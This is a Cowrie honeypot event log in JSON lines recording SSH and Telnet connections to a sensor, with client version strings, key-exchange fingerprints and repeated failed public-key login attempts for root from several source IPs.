{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":42146,"dst_ip":"159.203.135.109","dst_port":22,"session":"685bb7148b09","protocol":"ssh","message":"New connection: 45.148.10.147:42146 (159.203.135.109:22) [session: 685bb7148b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:04:16.451475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:04:16.458308Z","src_ip":"45.148.10.147","session":"685bb7148b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:04:16.547745Z","src_ip":"45.148.10.147","session":"685bb7148b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:04:16.923262Z","src_ip":"45.148.10.147","session":"685bb7148b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b3c8a7b0d75","protocol":"telnet","message":"New connection: 50.6.8.71:53254 (10.17.0.5:23) [session: 1b3c8a7b0d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:04:24.252723Z"}
{"eventid":"cowrie.session.closed","duration":37.323782444000244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:01.576377Z","src_ip":"50.6.8.71","session":"1b3c8a7b0d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":55482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c243cee37a","protocol":"ssh","message":"New connection: 194.120.230.72:55482 (10.17.0.5:22) [session: d8c243cee37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:24.357835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:24.363469Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:24.464871Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:09:cf:d4:72:2d:6c:01:15:ec:70:22:cc:9f:31:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKtiOFNEFERWTQDF5XX4elUpVo8FF87F4EfKrim6HIhT4gs5EsZL/S4y1SB6oDIR94ku4tKKhB2slPlFVCpgwV48I+MlEZICnN1Ea1VWJLo3RHeOv5l+WmO487M3462GI8Uo7wasDBuMOVLWa6IG6Hf7J7dzfgekeX2CAwTsIbfNoECVzTk/3F/n6bAqYP6HnLH9O4+4mriDzosBGZiTO7Wh2aoM+8jgyA6IjDB6VUXo9qu3IWnptTncBr6gOW0WmY2zBOPy4yPpX2DXh2TIxXCfwT4tpYmOJboEK/WxGldW5RjhGtyB4UcEzNGnQYJJwyrL2MmNT3B/sJLGq3/GvD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:09:cf:d4:72:2d:6c:01:15:ec:70:22:cc:9f:31:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:24.949333Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:09:cf:d4:72:2d:6c:01:15:ec:70:22:cc:9f:31:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKtiOFNEFERWTQDF5XX4elUpVo8FF87F4EfKrim6HIhT4gs5EsZL/S4y1SB6oDIR94ku4tKKhB2slPlFVCpgwV48I+MlEZICnN1Ea1VWJLo3RHeOv5l+WmO487M3462GI8Uo7wasDBuMOVLWa6IG6Hf7J7dzfgekeX2CAwTsIbfNoECVzTk/3F/n6bAqYP6HnLH9O4+4mriDzosBGZiTO7Wh2aoM+8jgyA6IjDB6VUXo9qu3IWnptTncBr6gOW0WmY2zBOPy4yPpX2DXh2TIxXCfwT4tpYmOJboEK/WxGldW5RjhGtyB4UcEzNGnQYJJwyrL2MmNT3B/sJLGq3/GvD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:24.954379Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:bf:4e:92:02:dd:c0:ab:d2:b8:d6:3a:c3:65:cc:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCpFJNYLOP0/wYTy2vHyNzH90H6Qh5tKAECEweuGQug9Fud0NtNaervIAyttX9fz3aLt3iUJvrHvdlUu1MGbxUngliDkdfr1hR09SLMx6VCGDWg+vfTLNkugQGeZvmXjrREUzH9n1at/d6MmuZAdwawSle2OSurXcJmYKju9GcXFBbqRuyXtBH1dPp/GfCgszFVE20E4qGwaDsmTqxeHjoY9QCjX9sfqTgrsmYn1RKjXtyfSs9uXXTVH5W9i3RAhdzc3CyERInTwZq7Cp5EmcKE+IumG9lBhvlILzqw38R2jADFwxH5ocAY+LqYlurLzZZZI+ouXz3PiHYZjLGLsQB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:bf:4e:92:02:dd:c0:ab:d2:b8:d6:3a:c3:65:cc:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.057248Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:bf:4e:92:02:dd:c0:ab:d2:b8:d6:3a:c3:65:cc:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCpFJNYLOP0/wYTy2vHyNzH90H6Qh5tKAECEweuGQug9Fud0NtNaervIAyttX9fz3aLt3iUJvrHvdlUu1MGbxUngliDkdfr1hR09SLMx6VCGDWg+vfTLNkugQGeZvmXjrREUzH9n1at/d6MmuZAdwawSle2OSurXcJmYKju9GcXFBbqRuyXtBH1dPp/GfCgszFVE20E4qGwaDsmTqxeHjoY9QCjX9sfqTgrsmYn1RKjXtyfSs9uXXTVH5W9i3RAhdzc3CyERInTwZq7Cp5EmcKE+IumG9lBhvlILzqw38R2jADFwxH5ocAY+LqYlurLzZZZI+ouXz3PiHYZjLGLsQB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.060817Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:69:22:8c:3b:a4:4a:08:2c:ef:75:4f:ad:04:de:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpf5aPuswefkm06syBNBBCHMVTmA5Awz/JVP9NyaU3DNxDRJCydG7PA0iQ/jc5krKx7i5GkD9AcVyDLbmzOIYwbiY1ilDDfp4R1LG/JZUz+l3FGqQLEhY2ch2PDX/PUA7E4erhvACC8ELwhACD/miuvjUh4F8KXSSGhi3eFQauMKb1U9eowZdWNQHKnTPEQG6B9NIg/QGehuVp/5ODS5Azb74OSgslEQv/NjgXJJNqetm5HFMp//JjGpHbmCxza0cku8e3dBi3S9vl1JIyGV6FWWMdUs3iHW08kNHx61byFJp3K8Bgsdalg2uhXLyhTASQA9mFFs/MnJW11VlCY2D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:69:22:8c:3b:a4:4a:08:2c:ef:75:4f:ad:04:de:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.162937Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:69:22:8c:3b:a4:4a:08:2c:ef:75:4f:ad:04:de:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKpf5aPuswefkm06syBNBBCHMVTmA5Awz/JVP9NyaU3DNxDRJCydG7PA0iQ/jc5krKx7i5GkD9AcVyDLbmzOIYwbiY1ilDDfp4R1LG/JZUz+l3FGqQLEhY2ch2PDX/PUA7E4erhvACC8ELwhACD/miuvjUh4F8KXSSGhi3eFQauMKb1U9eowZdWNQHKnTPEQG6B9NIg/QGehuVp/5ODS5Azb74OSgslEQv/NjgXJJNqetm5HFMp//JjGpHbmCxza0cku8e3dBi3S9vl1JIyGV6FWWMdUs3iHW08kNHx61byFJp3K8Bgsdalg2uhXLyhTASQA9mFFs/MnJW11VlCY2D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.166934Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:55:7b:35:c1:99:91:00:b5:ee:54:f5:a3:b4:65:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCycitRqWXqW0hdZCbUXQDmslJBfrE1fycbPoRkxRmoOuE5vrBNih7OTMs49SZR2lwOoe7I6JdL9shQcaFDG9M4eDMRyj06bVgm5W3jtJGJsYZXuG0V/lvAKu7eqYUFx7qoWnGwu4coeAFxqexE/OssnhNXDjTS8yvDc1FRay/EtVDVhFr+N79i24R5vASDU+9AelMUPGmn+f/aN4PUAHJxYT4+nLot71q6ul3OlAZcdMYx7e0M8k6a20F0TWMDdQDEjQAUfUvnDGuvztbtfUdoFg7ZfsYEtjuULgUzoYm2cY9kOXuIBMQ5ZO/6WaffJoS0WY/Hew5Ad+M/Y5GellLR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:55:7b:35:c1:99:91:00:b5:ee:54:f5:a3:b4:65:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.268857Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:55:7b:35:c1:99:91:00:b5:ee:54:f5:a3:b4:65:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCycitRqWXqW0hdZCbUXQDmslJBfrE1fycbPoRkxRmoOuE5vrBNih7OTMs49SZR2lwOoe7I6JdL9shQcaFDG9M4eDMRyj06bVgm5W3jtJGJsYZXuG0V/lvAKu7eqYUFx7qoWnGwu4coeAFxqexE/OssnhNXDjTS8yvDc1FRay/EtVDVhFr+N79i24R5vASDU+9AelMUPGmn+f/aN4PUAHJxYT4+nLot71q6ul3OlAZcdMYx7e0M8k6a20F0TWMDdQDEjQAUfUvnDGuvztbtfUdoFg7ZfsYEtjuULgUzoYm2cY9kOXuIBMQ5ZO/6WaffJoS0WY/Hew5Ad+M/Y5GellLR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.273106Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:c1:1e:f1:d9:61:f9:54:09:97:9f:63:26:68:64:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP6GNw7K4NneFGWJ6tmtZ8YJ3etFIpV0dABBPGIWlBum81K8bktv1IJS1R9/oAx19W4iLTatK/bI1Y26GZKKvXGSLb2AGvOQPbiGlvcyGHA7lIHD1BPLtBRZ2cyvSkL6ljLzii0jP1SEn6ffHKXJZdkHWsY0TzS4MvEqQ0uZpWPhjTW8e9nLErhhXWEEoP4tX09FDaBGQ6nEZtcgCTiCWUfaVt71fJR3LrfTE0V/MVjALhjYavEyLN0xf0uGmRAoNiwFaPaVqYZbIYgCv7h0hKhrj/8iUYlc+6fuvRHtU+DVxfESoDKKpo3KTGEfCTBIsUw4bYve2i5HlxxG3Y0X+F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:c1:1e:f1:d9:61:f9:54:09:97:9f:63:26:68:64:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.377468Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:c1:1e:f1:d9:61:f9:54:09:97:9f:63:26:68:64:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP6GNw7K4NneFGWJ6tmtZ8YJ3etFIpV0dABBPGIWlBum81K8bktv1IJS1R9/oAx19W4iLTatK/bI1Y26GZKKvXGSLb2AGvOQPbiGlvcyGHA7lIHD1BPLtBRZ2cyvSkL6ljLzii0jP1SEn6ffHKXJZdkHWsY0TzS4MvEqQ0uZpWPhjTW8e9nLErhhXWEEoP4tX09FDaBGQ6nEZtcgCTiCWUfaVt71fJR3LrfTE0V/MVjALhjYavEyLN0xf0uGmRAoNiwFaPaVqYZbIYgCv7h0hKhrj/8iUYlc+6fuvRHtU+DVxfESoDKKpo3KTGEfCTBIsUw4bYve2i5HlxxG3Y0X+F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.383006Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:05:25.485505Z","src_ip":"194.120.230.72","session":"d8c243cee37a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.123","src_port":43010,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a7fcdaf0f0","protocol":"ssh","message":"New connection: 102.129.186.123:43010 (10.17.0.5:22) [session: f5a7fcdaf0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.003668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.008719Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.135401Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:d4:7c:97:67:fb:fe:92:96:e8:44:a6:d8:c0:51:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqjX1yjxIQLorSpDZe9gNy8t54L1fP0Zzshz7UtAC189Ve5EchisqYCN+E5KZ+d+39QIVcjSxD2yzBmWUTcddaCa1HaPhcjzTNMZ51rwjPSwHNUFgQqT221eLh7ja/7M5RRJ3a8hQHaKwv4c0mpJCx8iENxp15bHad67WyBQGyBf9iMkUMjz4cBwfGy6mex28P6ZDIYMYnyuAddBbGvtj9FuxAleG9fx086hAMgG5QWzgOQMRheGOMMfnp8sJreSLf8ZU5vB5TK1VCUap1oXRmcJVuYi/peqyI//KjWQHEe1ZZkjqQOnlACkq1nxGDHS04V+/Kumbwj+iM85BfqBPr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:d4:7c:97:67:fb:fe:92:96:e8:44:a6:d8:c0:51:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.739521Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:d4:7c:97:67:fb:fe:92:96:e8:44:a6:d8:c0:51:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqjX1yjxIQLorSpDZe9gNy8t54L1fP0Zzshz7UtAC189Ve5EchisqYCN+E5KZ+d+39QIVcjSxD2yzBmWUTcddaCa1HaPhcjzTNMZ51rwjPSwHNUFgQqT221eLh7ja/7M5RRJ3a8hQHaKwv4c0mpJCx8iENxp15bHad67WyBQGyBf9iMkUMjz4cBwfGy6mex28P6ZDIYMYnyuAddBbGvtj9FuxAleG9fx086hAMgG5QWzgOQMRheGOMMfnp8sJreSLf8ZU5vB5TK1VCUap1oXRmcJVuYi/peqyI//KjWQHEe1ZZkjqQOnlACkq1nxGDHS04V+/Kumbwj+iM85BfqBPr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.743426Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:6b:7f:dd:4a:6a:69:1d:16:ef:32:31:f7:d5:45:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ixB0wCgeaFQZGg+TL/pMbrlRyXdYU0KlWe5/FfmQApinLwNmbJPq0HItbd2pPQ+9TsRJ4XsOowUaqpxmpY+TC7QNGEMOT0cU/y2TAoyoLJFW7qJl469sqvxG2kV5W0bVMpN/zPfTY4DsLhk1QCdJAcLPi7zWSeQMKcLkuz6mTUra9vSpUXI3ubRM9N1M3uz83lmDEN9j8KPp1IqYz7b+0r/b5/j7+v2gYF2JZAL3pQ65baVpDpau2lnEryvFvfy0+ly+1149F8CKPtbcG6JdV8ho+6hMArFYvDiYENvurzb+autEsxWo5GZIjZ8uNvxA5UIdGu4H8WPY2jeVI4m3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:6b:7f:dd:4a:6a:69:1d:16:ef:32:31:f7:d5:45:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.868984Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:6b:7f:dd:4a:6a:69:1d:16:ef:32:31:f7:d5:45:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ixB0wCgeaFQZGg+TL/pMbrlRyXdYU0KlWe5/FfmQApinLwNmbJPq0HItbd2pPQ+9TsRJ4XsOowUaqpxmpY+TC7QNGEMOT0cU/y2TAoyoLJFW7qJl469sqvxG2kV5W0bVMpN/zPfTY4DsLhk1QCdJAcLPi7zWSeQMKcLkuz6mTUra9vSpUXI3ubRM9N1M3uz83lmDEN9j8KPp1IqYz7b+0r/b5/j7+v2gYF2JZAL3pQ65baVpDpau2lnEryvFvfy0+ly+1149F8CKPtbcG6JdV8ho+6hMArFYvDiYENvurzb+autEsxWo5GZIjZ8uNvxA5UIdGu4H8WPY2jeVI4m3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:13.873042Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:cf:63:c5:3f:77:93:27:f6:5f:46:2c:14:af:fe:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh+mctGShy2RD0ggNGJ3wAc0MXQU2G4sH2Vj/h8j/IfQQqUlRSlIrrGdHKL0Vi8KzD3N5gSKlVQy0Z5p8wDg1eWoaDXWnJYP/NxJka+qx2kzBnDjEnWqh0C68T4zTUBy6WFE0PEkou41/cbjBIM3IYf1Pzy3K55rY9fQ0mkRSsWxh3jMUcqxwatJ01uUwjFR0k/JDB0qg5I4dOj1ZCgCz3mDRgCW4UuhoCwq7HWWSX6bH4ObFg/zezn2AndWxtfOR6ChIN+cYv40m7qXfdDLqqUnBUJEwCj2SSN6KSq0vTRgkVekHsc+ziUt6+/RXwoFybbR96crqsDgH/Varb4xpf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:cf:63:c5:3f:77:93:27:f6:5f:46:2c:14:af:fe:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.002118Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
